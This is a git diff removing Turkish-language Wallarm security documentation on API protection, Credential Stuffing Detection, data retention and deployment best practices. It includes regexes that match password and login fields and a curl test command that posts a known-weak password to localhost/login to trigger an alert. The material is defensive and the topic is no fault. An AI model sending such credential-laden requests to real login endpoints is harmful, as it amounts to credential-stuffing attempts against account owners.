yapılandırmaya geçin →](../api-specification-enforcement/overview.md) - -## Automatic BOLA Protection - -Wallarm'ın API Discovery modülünü, kırık nesne düzeyi yetkilendirme (BOLA) tehdidine karşı savunmasız uç noktaları keşfetmek ve bu zafiyeti istismar etmeye çalışan saldırılara karşı otomatik olarak koruma sağlamak için kullanın. - -![BOLA tetikleyicisi](../images/user-guides/bola-protection/trigger-enabled-state.png) - -Otomatik BOLA koruması, [elle oluşturulan](../admin-en/configuration-guides/protecting-against-bola-trigger.md) BOLA koruma kurallarına harika bir eklenti veya onların yerine geçecek bir alternatiftir. Wallarm'ın davranışını kuruluşunuzun güvenlik profiliyle uyumlu hale getirmek için otomatik BOLA korumasını yapılandırabilirsiniz. - -[Ayrıntılı açıklama ve yapılandırmaya geçin →](../admin-en/configuration-guides/protecting-against-bola.md) - -## API Abuse Prevention - -**API Abuse Prevention**, credential stuffing, sahte hesap oluşturma, içerik kazıma ve API'lerinizi hedef alan diğer kötü niyetli eylemleri gerçekleştiren botların tespitini ve etkisizleştirilmesini sağlar. - -![API kötüye kullanımını önleme istatistikleri](../images/about-wallarm-waf/abi-abuse-prevention/api-abuse-prevention-statistics.png) - -**API Abuse Prevention**, ML tabanlı yöntemlerin yanı sıra istatistiksel ve matematiksel anomali arama yöntemlerini ve doğrudan kötüye kullanım vakalarını içeren karmaşık bir bot tespit modelini kullanır. Modül, normal trafik profilini kendi kendine öğrenir ve belirgin biçimde farklı davranışları anomali olarak tanımlar. - -[Ayrıntılı açıklama ve yapılandırmaya geçin →](../api-abuse-prevention/overview.md) - -## Credential Stuffing Detection - -Wallarm'ın **Credential Stuffing Detection** özelliği, uygulamalarınıza erişmek için ele geçirilmiş veya zayıf kimlik bilgilerini kullanma girişimleri hakkında gerçek zamanlı bilgi toplar ve görüntüler ve bu tür girişimler hakkında anında bildirimler sağlar. Ayrıca, uygulamalarınıza erişim sağlayan tüm ele geçirilmiş veya zayıf kimlik bilgilerinin indirilebilir bir listesini oluşturur. - -![Wallarm Console - Credential Stuffing](../images/about-wallarm-waf/credential-stuffing/credential-stuffing.png) - -Ele geçirilmiş ve zayıf parolaları belirlemek için Wallarm, herkese açık [HIBP](https://haveibeenpwned.com/) ele geçirilmiş kimlik bilgileri veritabanından derlenen **850 milyondan fazla kayıttan** oluşan kapsamlı bir veritabanı kullanır. - -[Ayrıntılı açıklama ve yapılandırmaya geçin →](credential-stuffing.md) - -## GraphQL API Protection - -Wallarm, temel [WAAP](../about-wallarm/subscription-plans.md#core-subscription-plans) abonelik planı kapsamında dahi GraphQL içindeki düzenli saldırıları (SQLi, RCE, [vb.](../attacks-vulns-list.md)) varsayılan olarak tespit eder. Ancak protokolün bazı yönleri, aşırı bilgi ifşası ve DoS ile ilgili [GraphQL'e özgü](../attacks-vulns-list.md#graphql-attacks) saldırıların uygulanmasına olanak tanır. - -Wallarm, **GraphQL politikası** ayarlayarak — GraphQL istekleri için bir dizi sınır — API'lerinizi bu saldırılardan korumanıza olanak tanır. - -![GraphQL eşikleri](../images/user-guides/rules/graphql-rule.png) - -[Ayrıntılı açıklama ve yapılandırmaya geçin →](../api-protection/graphql-rule.md) \ No newline at end of file diff --git a/docs/latest-tr/about-wallarm/credential-stuffing.md b/docs/latest-tr/about-wallarm/credential-stuffing.md deleted file mode 100644 index 1895299e62..0000000000 --- a/docs/latest-tr/about-wallarm/credential-stuffing.md +++ /dev/null @@ -1,161 +0,0 @@ -# Credential Stuffing Detection - -[Credential stuffing](../attacks-vulns-list.md#credential-stuffing), bilgisayar korsanlarının ele geçirilmiş kullanıcı kimlik bilgileri listelerini kullanarak birden fazla web sitesindeki kullanıcı hesaplarına yetkisiz erişim sağlamaya çalıştığı bir siber saldırıdır. Bu makale, Wallarm'ın **Credential Stuffing Detection** özelliğini kullanarak bu tür tehditlerin nasıl tespit edileceğini açıklar. - -
            - -
            - -
            -
            - -Kimlik bilgisi doldurma saldırıları, farklı hizmetlerde aynı kullanıcı adı ve parolaların yeniden kullanılmasının yaygın olması ve kolay tahmin edilebilir (zayıf) parolaların seçilme eğilimi nedeniyle tehlikelidir. Başarılı bir credential stuffing saldırısı daha az deneme gerektirdiğinden, saldırganlar istekleri çok daha seyrek gönderebilir ve bu da kaba kuvvet koruması gibi standart önlemleri etkisiz hale getirir. - -## Wallarm, kimlik bilgisi doldurmayı nasıl ele alır - -Wallarm'ın **Credential Stuffing Detection** özelliği, uygulamalarınıza erişmek için ele geçirilmiş veya zayıf kimlik bilgilerinin kullanılmasına yönelik girişimler hakkında gerçek zamanlı bilgi toplar ve görüntüler. Ayrıca bu tür girişimler hakkında anlık bildirimleri etkinleştirir ve uygulamalarınıza erişim sağlayan tüm ele geçirilmiş veya zayıf kimlik bilgilerinin indirilebilir bir listesini oluşturur. - -Ele geçirilmiş ve zayıf parolaları belirlemek için Wallarm, herkese açık [HIBP](https://haveibeenpwned.com/) ele geçirilmiş kimlik bilgileri veritabanından toplanan **850 milyondan fazla kayıt** içeren kapsamlı bir veritabanı kullanır. - -![Credential Stuffing - Şema](../images/about-wallarm-waf/credential-stuffing/credential-stuffing-schema.png) - -Wallarm'ın Credential Stuffing Detection özelliği, aşağıdaki işlem sırasını uygulayarak kimlik bilgisi verilerini güvende tutar: - -1. İstek düğüme ulaştığında, paroladan [SHA-1](https://en.wikipedia.org/wiki/SHA-1) üretir ve birkaç karakteri Wallarm Cloud'a gönderir. -1. Wallarm Cloud, bilinen ele geçirilmiş parolalar veritabanını alınan karakterlerle başlayan kayıtlar için kontrol eder. Bulunursa, bunlar SHA-1 ile şifreli formatta düğüme gönderilir ve düğüm bunları istekten gelen parolayla karşılaştırır. -1. Eşleşme varsa, düğüm bu saldırı bilgilerine istekten alınan girişi (login) de ekleyerek Wallarm Cloud'a bir credential stuffing saldırısı bildirir. -1. Düğüm isteği uygulamaya iletir. - -Bu şekilde, Wallarm düğümlerine sahip makinelerden parolalar asla şifrelenmemiş olarak Wallarm Cloud'a gönderilmez. Kimlik bilgileri eşzamanlı olarak gönderilmez, bu da istemcilerin yetkilendirme verilerinin ağınız içinde güvende kalmasını sağlar. - -**Kitlesel ve tekil denemeler** - -Credential Stuffing Detection, botlar tarafından gerçekleştirilen ele geçirilmiş kimlik bilgilerinin kitlesel kullanım denemelerini ve diğer yöntemlerle tespit edilemeyen tekil denemeleri kaydedebilir. - -**Azaltma önlemleri** - -Çalınmış veya zayıf parolalara sahip hesapların bilinmesi, hesap sahipleriyle iletişime geçmek, hesaplara erişimi geçici olarak askıya almak vb. gibi bu hesapların verilerini güvence altına almak için önlemler başlatmanıza olanak tanır. - -Wallarm, parolaları zayıf veya ele geçirilmiş olsa bile meşru kullanıcıların engellenmesini önlemek için ele geçirilmiş kimlik bilgilerine sahip istekleri engellemez. Ancak, aşağıdaki durumlarda credential stuffing girişimlerinin engellenebileceğini unutmayın: - -* Tespit edilen kötü amaçlı bot etkinliğinin bir parçasıysa ve [API Abuse Prevention](../api-abuse-prevention/overview.md) modülünü etkinleştirdiyseniz. -* Diğer [saldırı işaretlerinin](../attacks-vulns-list.md) bir parçası olan isteklerse. - -## Etkinleştirme - -Wallarm'ın **Credential Stuffing Detection** özelliğini etkinleştirmek için: - -1. [Abonelik planınızın](../about-wallarm/subscription-plans.md#core-subscription-plans) **Credential Stuffing Detection** içerdiğinden emin olun. Abonelik planını değiştirmek için lütfen [sales@wallarm.com](mailto:sales@wallarm.com?subject=Change%20Wallarm%20subscription%20plan%20to%20include%20Credential%20Stuffing%20Detection&body=Hello%20Wallarm%20Sales%20Team%2C%0AI%27m%20writing%20to%20request%20the%20change%20of%20Wallarm%20subscription%20plan%20to%20the%20one%20that%20includes%20the%20Credential%20Stuffing%20Detection.%0AThank%20you%20for%20your%20time%20and%20assistance.) adresine bir talep gönderin. -1. Wallarm düğümünüzün [sürüm 4.10](../updating-migrating/what-is-new.md) veya üzeri olduğundan ve aşağıdaki belirtilen yapıtlar kullanılarak dağıtıldığından emin olun: - - * [All-in-one installer](../installation/nginx/all-in-one.md) - * [Helm chart for NGINX-based Ingress controller](../admin-en/installation-kubernetes-en.md) - * [NGINX-based Docker image](../admin-en/installation-docker-en.md) - * [Amazon Machine Image (AMI)](../installation/cloud-platforms/aws/ami.md) - * [Google Cloud Machine Image](../installation/cloud-platforms/gcp/machine-image.md) -1. Kullanıcınızın [role](../user-guides/settings/users.md#user-roles) özelliğinin **Credential Stuffing Detection** yapılandırmasına izin verdiğini kontrol edin. -1. Wallarm Console → **Credential Stuffing** içinde, işlevi etkinleştirin (varsayılan olarak devre dışıdır). - -**Credential Stuffing Detection** etkinleştirildiğinde, çalışmaya başlaması için bir [yapılandırma](#configuring) gereklidir. - -## Yapılandırma - -Ele geçirilmiş kimlik bilgileri kullanımına yönelik girişimlerin kontrol edileceği kimlik doğrulama uç noktalarının bir listesini oluşturmanız gerekir. Listeyi oluşturmak için Wallarm Console → **Credential Stuffing** bölümüne gidin. - -![Wallarm Console - Credential Stuffing](../images/about-wallarm-waf/credential-stuffing/credential-stuffing.png) - -Listeye uç nokta eklemenin iki yolu vardır: - -* İki tür öğe içeren **Recommended endpoints** listesinden: - - * Parolaları ve giriş bilgilerini (login) tutan parametreleri ve yaygın olarak kullanılan kimlik doğrulama uç noktalarını belirtmek için düzenli ifadeler kullanan, Wallarm tarafından önceden tanımlanmış kurallar. - - * [API Discovery](../api-discovery/overview.md) modülü tarafından bulunan ve gerçekten trafik aldıkları şekilde kaydedilen, kimlik doğrulama için kullanılan uç noktalar. - -* Manuel olarak - tam koruma sağlayarak kendi benzersiz kimlik doğrulama uç noktalarınızı da ekleyebilirsiniz. Manuel eklerken, [URI](../user-guides/rules/rules.md#uri-constructor) ve kimlik doğrulama parametrelerini arama yöntemini ayarlayın: - - * **Exact location of parameters** ile - parolanın ve giriş bilgisinin (login) bulunduğu uç noktanın tam [request points](../user-guides/rules/rules.md#configuring) konumlarını belirtmeniz gerekecektir. - - * **Regular expression** ile - parola ve giriş içeren uç nokta parametreleri [regular expression](../user-guides/rules/rules.md#condition-type-regex) kullanılarak aranacaktır. - - ![Credential Stuffing - Add authentication endpoint - Regular expression](../images/about-wallarm-waf/credential-stuffing/credential-stuffing-add-endpoint-regexp.png) - -## Ele geçirilmiş kimlik bilgileri kullanım girişimlerini görüntüleme - -Son 7 gündeki ele geçirilmiş kimlik bilgilerini kullanma girişimlerinin sayısı **Credential Stuffing** bölümünde görüntülenir. Sayaca tıklayın, son 7 gün için tüm [`credential_stuffing`](../user-guides/search-and-filters/use-search.md#search-by-attack-type) saldırılarını görüntüleyecek olan **Attacks** bölümüne yönlendirileceksiniz. - -Parolaları ele geçirilmiş olan girişlerin (login) listesini görmek için saldırılardan herhangi birini genişletin. - -![Attacks - credential stuffing](../images/about-wallarm-waf/credential-stuffing/credential-stuffing-attacks.png) - -## Ele geçirilmiş kimlik bilgilerinin CSV listesini alma - -Ele geçirilmiş kimlik bilgilerinin toplam sayısı **Credential Stuffing** bölümünde görüntülenir. Sayaca tıklayın, tarayıcınız ele geçirilmiş kimlik bilgilerinin listesini içeren CSV dosyasını indirecektir. - -## Bildirim alma - -Ele geçirilmiş kimlik bilgilerinin kullanılmasına yönelik girişimler hakkında e-posta, mesajlaşma uygulaması veya [entegre sistemlerinizden](../user-guides/settings/integrations/integrations-intro.md) biri aracılığıyla anında bildirim alabilirsiniz. Bu tür bildirimleri etkinleştirmek için, Wallarm Console'un **Triggers** bölümünde, **Compromised user account** koşuluna sahip bir veya daha fazla tetikleyici yapılandırın. - -Bildirimleri izlemek istediğiniz uygulama veya ana makineye ve yanıta göre daraltabilirsiniz. - -**Trigger örneği: Slack içinde ele geçirilmiş kimlik bilgilerini kullanma girişimi hakkında bildirim** - -Bu örnekte, ele geçirilmiş kimlik bilgilerinin kullanılmasına yönelik yeni bir girişim tespit edilirse, bununla ilgili bir bildirim yapılandırılmış Slack kanalınıza gönderilecektir. - -![Credential stuffing trigger](../images/user-guides/triggers/trigger-example-credentials-stuffing.png) - -**Trigger'ı test etmek için:** - -1. Wallarm Console → **Integrations** bölümüne [US](https://us1.my.wallarm.com/integrations/) veya [EU](https://my.wallarm.com/integrations/) cloud içinde gidin ve [Slack ile entegrasyonu](../user-guides/settings/integrations/slack.md) yapılandırın. -1. **Credential Stuffing** bölümünde, Credential Stuffing'in etkin olduğundan ve aşağıdaki Wallarm'ın önceden tanımlanmış kuralının **Recommended endpoints** listesinden aktif **Authentication endpoints** listesine eklendiğinden emin olun: - - Request is: - - ``` - /**/{{login|auth}}.* - ``` - - Password is located here: - - ``` - ([^/](|((api|current|new|old|plain)(|\.|-|_)))(pass(|word|wd))|^pass(|wd|word))$ - ``` - - Login is located here: - - ``` - ^((w+.)|_|.|)(login|user|auth)(|_|-.)(user|client|auth|id|name|)(|[\d])$ - ``` - -1. **Triggers** bölümünde, yukarıda gösterildiği gibi bir trigger oluşturun ve kendi Slack entegrasyonunuza eşleyin. -1. Ele geçirilmiş kimlik bilgileri içeren bir isteği düğümünüzün `localhost/login` uç noktasına gönderin: - - ``` - curl -X POST http://localhost/login -d '{"password": "123456", "user": "user-01@company.com"}' - ``` - -1. **Attacks** bölümünde, isteğinizin `credential_stuffing` türünde bir olay olarak kaydedildiğini kontrol edin: ele geçirilmiş kimlik bilgilerini kullanma girişimi. -1. Saldırıyı genişleterek ele geçirilmiş giriş (login) bilgisini içerdiğinden emin olun. -1. Slack kanalınızdaki mesajları kontrol edin. Yeni mesaj şu şekilde görünmelidir: - ``` - [wallarm] Stolen credentials detected - - Notification type: compromised_logins - - Stolen credentials have been detected in your incoming traffic: - - Compromised accounts: user-01@company.com - Associated URL: localhost/login - Link: https://my.wallarm.com/attacks/?q=attacks+d%3Alocalhost+u%3A%2Flogin+statuscode%3A404+application%3Adefault+credential_stuffing+2024%2F01%2F22 - - Client: YourCompany - Cloud: EU - ``` - -## Sınırlamalar - -Şu anda, Credential Stuffing Detection modülü, [Terraform module for AWS](../installation/cloud-platforms/aws/terraform-module/overview.md) aracılığıyla dağıtılan Wallarm düğümlerinde desteklenmemektedir. \ No newline at end of file diff --git a/docs/latest-tr/about-wallarm/data-retention-policy.md b/docs/latest-tr/about-wallarm/data-retention-policy.md deleted file mode 100644 index db0de412ca..0000000000 --- a/docs/latest-tr/about-wallarm/data-retention-policy.md +++ /dev/null @@ -1,15 +0,0 @@ -# Veri saklama politikası - -Bu politika, Wallarm tarafından toplanıp Wallarm Cloud'da depolanan farklı veri kümeleri için saklama sürelerini açıklar. - -| Veri kümesi | Ücretli abonelik | Ücretsiz katman | -|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------|------------------| -| Filtreleme düğümleri tarafından tespit edilen saldırılar, Hits ve olaylara ilişkin veriler | 6 ay | 3 ay | -| Meşru ve kötü amaçlı isteklerin ait olduğu [kullanıcı oturumlarına](../api-sessions/overview.md) ilişkin veriler | 1 hafta | 1 hafta | -| Filtreleme düğümleri veya **Threat Replay Testing** modülü tarafından tespit edilen zafiyetlere ilişkin veriler | 6 ay | 3 ay | -| [Vulnerability Scanner](../api-attack-surface/api-surface.md#replacement-of-old-scanner) tarafından tespit edilen zafiyetlere ilişkin veriler | 6 ay | 3 ay | -| İşlenen ve engellenen isteklere ilişkin, [Threat Prevention dashboard](../user-guides/dashboards/threat-prevention.md) üzerinde görüntülenen istatistikler | 6 ay | 3 ay | -| [allowlisted, denylisted ve graylisted IP adresleri](../user-guides/ip-lists/overview.md) geçmişi | 3 ay | 3 ay | -| Wallarm düğümleri tarafından trafiğin işlenmesi için otomatik olarak oluşturulan veya elle oluşturulan [rules](../user-guides/rules/rules.md) | ∞ | ∞ | -| Wallarm hesap yapılandırması: [users](../user-guides/settings/users.md), [applications](../user-guides/settings/applications.md), [integrations](../user-guides/settings/integrations/integrations-intro.md), [triggers](../user-guides/triggers/triggers.md) | ∞ | ∞ | -| [Audit log](../user-guides/settings/audit-log.md) kayıtları | 6 ay | 3 ay | \ No newline at end of file diff --git a/docs/latest-tr/about-wallarm/deployment-best-practices.md b/docs/latest-tr/about-wallarm/deployment-best-practices.md deleted file mode 100644 index 95f98c0ba6..0000000000 --- a/docs/latest-tr/about-wallarm/deployment-best-practices.md +++ /dev/null @@ -1,145 +0,0 @@ -# Wallarm çözümünün dağıtımı ve bakımı için en iyi uygulamalar - -Bu makale, Wallarm çözümünün dağıtımı ve bakımı için en iyi uygulamaları ortaya koyar. - -## NGINX'in gücünü anlayın - -Wallarm filtreleme düğümlerinin çoğu dağıtım seçeneği, ters proxy sunucusu olarak NGINX'i (Wallarm modülünün temeli) kullanır; bu da geniş bir işlevsellik, modül ve performans/güvenlik rehberleri yelpazesi sunar. Aşağıda yararlı İnternet makalelerinin bir derlemesi bulunmaktadır: - -* [Awesome NGINX](https://github.com/agile6v/awesome-nginx) -* [NGINX: Temeller ve En İyi Uygulamalar slayt gösterisi](https://www.slideshare.net/Nginx/nginx-basics-and-best-practices-103340015) -* [NGINX yapılandırması nasıl optimize edilir](https://www.digitalocean.com/community/tutorials/how-to-optimize-nginx-configuration) -* [NGINX sunucunuzu optimize etmek için 3 hızlı adım](https://www.techrepublic.com/article/3-quick-steps-to-optimize-the-performance-of-your-nginx-server/) -* [15 Adımda Dayanıklı bir NGINX Sunucusu Nasıl Kurulur](https://www.upguard.com/blog/how-to-build-a-tough-nginx-server-in-15-steps) -* [NGINX Web Sunucusunun Performansı Nasıl Ayarlanır ve Optimize Edilir](https://hostadvice.com/how-to/how-to-tune-and-optimize-performance-of-nginx-web-server/) -* [NGINX sunucunuzu güçlendirmenin ve performansını artırmanın güçlü yolları](https://www.freecodecamp.org/news/powerful-ways-to-supercharge-your-nginx-server-and-improve-its-performance-a8afdbfde64d/) -* [TLS Yaygınlaştırma En İyi Uygulamaları](https://www.linode.com/docs/guides/tls-deployment-best-practices-for-nginx/) -* [NGINX Web Sunucusu Güvenlik ve Sertleştirme Rehberi](https://geekflare.com/nginx-webserver-security-hardening-guide/) -* [En İyi Performans için NGINX Ayarları](https://github.com/denji/nginx-tuning) -* [NGINX Web Sunucusu için En İyi 25 Güvenlik Uygulaması](https://www.cyberciti.biz/tips/linux-unix-bsd-nginx-webserver-security.html) - -## Önerilen başlangıç adımlarını izleyin - -1. Şunlar için mevcut Wallarm düğüm dağıtım seçeneklerini öğrenin: - - * [Security Edge](../installation/security-edge/overview.md) - * [Self-hosted deployment](../installation/supported-deployment-options.md) - * [Connector deployment](../installation/connectors/overview.md) -2. [Ortamlarınız için Wallarm düğüm yapılandırmasını ayrı ayrı yönetme](../installation/multi-tenant/overview.md#issues-addressed-by-multitenancy) seçeneklerini (gerekirse) öğrenin. -3. Wallarm filtreleme düğümlerini üretim dışı ortamlarınıza [çalışma modu](../admin-en/configure-wallarm-mode.md) `monitoring` olarak ayarlanmış şekilde dağıtın. -4. Wallarm çözümünü nasıl işleteceğinizi, ölçeklendireceğinizi ve izleyeceğinizi öğrenin ve yeni ağ bileşeninin stabilitesini doğrulayın. -5. Wallarm filtreleme düğümlerini üretim ortamınıza [çalışma modu](../admin-en/configure-wallarm-mode.md) `monitoring` olarak ayarlanmış şekilde dağıtın. -6. Yeni Wallarm bileşeni için uygun yapılandırma yönetimi ve [izleme süreçlerini](#enable-proper-monitoring-of-the-filtering-nodes) uygulayın. -7. Wallarm bulut tabanlı arka ucunun uygulamanızı öğrenmesi için tüm ortamlarınızda (test ve üretim dahil) trafiği 7‑14 gün boyunca filtreleme düğümleri üzerinden akıtın. -8. Tüm üretim dışı ortamlarınızda Wallarm `block` [modu](../admin-en/configure-wallarm-mode.md)nu etkinleştirin ve korunan uygulamanın beklendiği gibi çalıştığını doğrulamak için otomatik veya manuel testler kullanın. -9. Üretim ortamında Wallarm `block` [modu](../admin-en/configure-wallarm-mode.md)nu etkinleştirin ve uygulamanın beklendiği gibi çalıştığını doğrulamak için mevcut yöntemleri kullanın. - -## Filtreleme düğümlerini yalnızca üretimde değil, test ve staging ortamlarında da dağıtın - -Wallarm hizmet sözleşmelerinin çoğu, müşterinin dağıttığı Wallarm düğümü sayısını sınırlamaz, bu nedenle geliştirme, test, staging vb. dahil tüm ortamlarınıza filtreleme düğümlerini dağıtmamanız için bir neden yoktur. - -Filtreleme düğümlerini yazılım geliştirme ve/veya hizmet işletim faaliyetlerinizin tüm aşamalarında dağıtıp kullanarak, tüm veri akışını uygun şekilde test etme ve kritik üretim ortamınızdaki beklenmedik durum riskini en aza indirme şansınızı artırırsınız. - -## libdetection kitaplığını etkinleştirin - -İstekleri [**libdetection** kitaplığı](protecting-against-attacks.md#library-libdetection) ile analiz etmek, filtreleme düğümünün SQLi saldırılarını algılama yeteneğini önemli ölçüde artırır. Tüm Wallarm müşterilerinin filtreleme düğümü yazılımının en son sürümüne [yükseltmeleri](/updating-migrating/general-recommendations/) ve **libdetection** kitaplığını etkin halde tutmaları önemle tavsiye edilir. - -* Filtreleme düğümü 4.4 ve üzeri sürümlerde **libdetection** varsayılan olarak etkindir. -* Daha düşük sürümlerde, dağıtım seçeneğinize uygun [yaklaşımı](protecting-against-attacks.md#managing-libdetection-mode) kullanarak etkinleştirmeniz önerilir. - -## Son kullanıcı IP adreslerinin doğru raporlanmasını yapılandırın - -Bir yük dengeleyici veya CDN arkasında bulunan Wallarm filtreleme düğümleri için, filtreleme düğümlerinizi son kullanıcı IP adreslerini doğru raporlayacak şekilde yapılandırdığınızdan emin olun (aksi takdirde [IP list functionality](../user-guides/ip-lists/overview.md), [Threat Replay Testing](detecting-vulnerabilities.md#threat-replay-testing) ve bazı diğer özellikler çalışmayacaktır): - -* [NGINX tabanlı Wallarm düğümleri için talimatlar](../admin-en/using-proxy-or-balancer-en.md) (AWS / GCP imajları ve Docker düğüm konteyneri dahil) -* [Wallarm Kubernetes Ingress controller olarak dağıtılan filtreleme düğümleri için talimatlar](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md) - -## Filtreleme düğümlerini uygun şekilde izlemeyi etkinleştirin - -Wallarm filtreleme düğümlerinin uygun şekilde izlenmesini etkinleştirmeniz önemle tavsiye edilir. - -Filtreleme düğümünün izlenmesini ayarlama yöntemi dağıtım seçeneğine bağlıdır: - -* [Wallarm Kubernetes Ingress controller olarak dağıtılan filtreleme düğümleri için talimatlar](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md) -* [NGINX tabanlı Docker imajı için talimatlar](../admin-en/installation-docker-en.md#monitoring-configuration) - -## Uygun yedeklilik ve otomatik failover işlevselliğini uygulayın - -Üretim ortamınızdaki diğer tüm kritik bileşenlerde olduğu gibi, Wallarm düğümleri de uygun düzeyde yedeklilik ve otomatik failover ile tasarlanmalı, dağıtılmalı ve işletilmelidir. Kritik son kullanıcı isteklerini yöneten **en az iki aktif Wallarm filtreleme düğümüne** sahip olmalısınız. Aşağıdaki makaleler konu hakkında ilgili bilgiler sağlar: - -* [NGINX tabanlı Wallarm düğümleri için talimatlar](../admin-en/configure-backup-en.md) (AWS / GCP imajları, Docker düğüm konteyneri ve Kubernetes sidecar'ları dahil) -* [Wallarm Kubernetes Ingress controller olarak dağıtılan filtreleme düğümleri için talimatlar](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md) - -## IP adresi allowlist, denylist ve graylist'i nasıl kullanacağınızı öğrenin - -Bireysel kötü amaçlı istekleri engellemenin yanı sıra, Wallarm filtreleme düğümleri bireysel son kullanıcı IP adreslerini de engelleyebilir. IP engelleme kuralları allowlist, denylist ve graylist kullanılarak yapılandırılır. - -[IP lists kullanımına ilişkin daha fazla ayrıntı →](../user-guides/ip-lists/overview.md) - -## Wallarm yapılandırma değişikliklerinin kademeli yayılımını nasıl yapacağınızı öğrenin - -* Tüm form faktörlerdeki Wallarm filtreleme düğümleri için düşük seviyeli yapılandırma değişikliklerinde standart DevOps değişiklik yönetimini ve kademeli yayılım politikalarını kullanın. -* Trafik filtreleme kuralları için, farklı uygulama [ID'leri](../admin-en/configure-parameters-en.md#wallarm_application) veya `Host` istek başlıkları kullanın. -* [Create regexp-based attack indicator](../user-guides/rules/regex-rule.md#creating-and-applying-rule) kuralı, yukarıda belirtilen belirli bir uygulama ID'siyle ilişkilendirilebilmenin yanı sıra, Wallarm düğümü blocking mode'da çalışırken bile monitoring modunda (**Experimental** onay kutusu) etkinleştirilebilir. -* [Set filtration mode](../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode) kuralı, Wallarm Console üzerinden Wallarm düğümünün çalışma modunu (`monitoring`, `safe_blocking` veya `block`) kontrol etmenizi sağlar; bu, NGINX yapılandırmasındaki [`wallarm_mode`](../admin-en/configure-parameters-en.md#wallarm_mode) ayarına (ve [`wallarm_mode_allow_override`](../admin-en/configure-parameters-en.md#wallarm_mode_allow_override) ayarına) benzer şekilde çalışır. - -## Sistemden bildirim almak için mevcut entegrasyonları yapılandırın - -Wallarm, platform tarafından üretilen farklı güvenlik bildirimlerini size hızla göndermek için Slack, Telegram, PagerDuty, Opsgenie ve diğer sistemlerle kullanışlı [yerel entegrasyonlar](../user-guides/settings/integrations/integrations-intro.md) sağlar; örneğin: - -* Yeni keşfedilen güvenlik açıkları -* Şirket ağ çevresindeki değişiklikler -* Wallarm Console üzerinden şirket hesabına yeni eklenen kullanıcılar vb. - -Sistemde gerçekleşen farklı olaylar hakkında özel uyarılar ayarlamak için [Triggers](../user-guides/triggers/triggers.md) işlevini de kullanabilirsiniz. - -## Triggers işlevinin gücünü öğrenin - -Özel ortamınıza bağlı olarak aşağıdaki [triggers](../user-guides/triggers/triggers.md) yapılandırmanızı öneririz: - -* Wallarm düğümleri tarafından algılanan kötü amaçlı istek seviyesindeki artışı izlemek. Bu trigger aşağıdaki potansiyel sorunlardan birini işaret edebilir: - - * Saldırı altındasınız ve Wallarm düğümü kötü amaçlı istekleri başarıyla engelliyor. Algılanan saldırıları gözden geçirmeyi ve raporlanan saldırgan IP adreslerini manuel olarak denylist (block) etmeyi düşünebilirsiniz. - * Wallarm düğümleri tarafından algılanan false positive saldırı seviyesi arttı. Bunu [Wallarm teknik destek ekibine](mailto:support@wallarm.com) iletmeyi veya istekleri manuel olarak [false positive olarak işaretlemeyi](../user-guides/events/check-attack.md#false-positives) düşünebilirsiniz. - * [Denylisting trigger](../user-guides/triggers/trigger-examples.md#denylist-ip-if-4-or-more-malicious-payloads-are-detected-in-1-hour) etkinse ancak yine de artan saldırı seviyesine ilişkin uyarılar alıyorsanız, bu uyarı trigger'ın beklendiği gibi çalışmadığını gösteriyor olabilir. - - [Yapılandırılmış trigger örneğini görün →](../user-guides/triggers/trigger-examples.md#slack-notification-if-2-or-more-sqli-hits-are-detected-in-one-minute) -* Wallarm Console içinde şirket hesabınıza yeni bir kullanıcı eklendiğinde bildirim gönderin - - [Yapılandırılmış trigger örneğini görün →](../user-guides/triggers/trigger-examples.md#slack-and-email-notification-if-new-user-is-added-to-the-account) -* İstekleri brute-force veya zorla dizin gezme (forced browsing) saldırısı olarak işaretleyin ve isteklerin kaynaklandığı IP adreslerini engelleyin - - [Brute force korumasını yapılandırma talimatları →](../admin-en/configuration-guides/protecting-against-bruteforce.md) -* Yeni IP adreslerinin engellendiğini bildirin - - [Yapılandırılmış trigger örneğini görün →](../user-guides/triggers/trigger-examples.md#notification-to-webhook-url-if-ip-address-is-added-to-the-denylist) -* IP adreslerini, [safe blocking](../admin-en/configure-wallarm-mode.md) modunda kullanılan [graylist](../user-guides/ip-lists/overview.md)'e otomatik olarak ekleyin. - -Trafik işleme ve saldırı yüklemeyi optimize etmek için, Wallarm bazı triggers'ları [önceden yapılandırır](../user-guides/triggers/triggers.md#pre-configured-triggers-default-triggers). - -## Wallarm Console hesabınız için SAML SSO'yu etkinleştirin - -Wallarm Console hesabınızdaki kullanıcıların kimlik doğrulamasını merkezileştirmek için G Suite, Okta veya OneLogin gibi bir SAML SSO sağlayıcısı kullanabilirsiniz. - -Hesabınız için SAML SSO'yu etkinleştirmek üzere Wallarm müşteri temsilciniz veya teknik destek ekibi ile iletişime geçin ve ardından SAML SSO yapılandırmasını gerçekleştirmek için [bu talimatları](../admin-en/configuration-guides/sso/intro.md) izleyin. - -## Wallarm Cloud yapılandırma yönetimi için Wallarm Terraform provider'ını kullanın - -[Wallarm'ın resmi Terraform provider'ı](../admin-en/managing/terraform-provider.md), modern Kod Olarak Altyapı (IaC) yaklaşımını kullanarak Wallarm Cloud yapılandırmanızı (kullanıcılar, uygulamalar, kurallar, entegrasyonlar vb.) yönetmenize olanak tanır. - -## Yeni yayımlanan Wallarm düğüm sürümlerine hızlıca güncellemek için bir planınız olsun - -Wallarm, filtreleme düğümü yazılımını geliştirmek için sürekli çalışmaktadır ve yaklaşık her çeyrekte yeni sürümler yayınlanmaktadır. Yükseltmeleri gerçekleştirmek için önerilen yaklaşım, ilişkili riskler ve ilgili yükseltme prosedürleri hakkında bilgi için lütfen [bu belgeyi](../updating-migrating/general-recommendations.md) okuyun. - -## Bilinen dikkat noktalarını öğrenin - -* Aynı Wallarm hesabına bağlı tüm Wallarm düğümleri, trafik filtreleme için aynı varsayılan ve özel kurallar setini alır. Yine de uygun uygulama ID'lerini veya başlıklar, sorgu dizesi parametreleri vb. gibi benzersiz HTTP istek parametrelerini kullanarak farklı uygulamalar için farklı kurallar uygulayabilirsiniz. -* Bir IP adresini otomatik olarak engelleyecek şekilde yapılandırılmış bir trigger'a sahipseniz ([trigger örneği](../user-guides/triggers/trigger-examples.md#denylist-ip-if-4-or-more-malicious-payloads-are-detected-in-1-hour)), sistem Wallarm hesabındaki tüm uygulamalar için IP'yi engelleyecektir. - -## Threat Replay Testing için en iyi uygulamaları izleyin - -Wallarm'ın [güvenlik açıklarını tespit 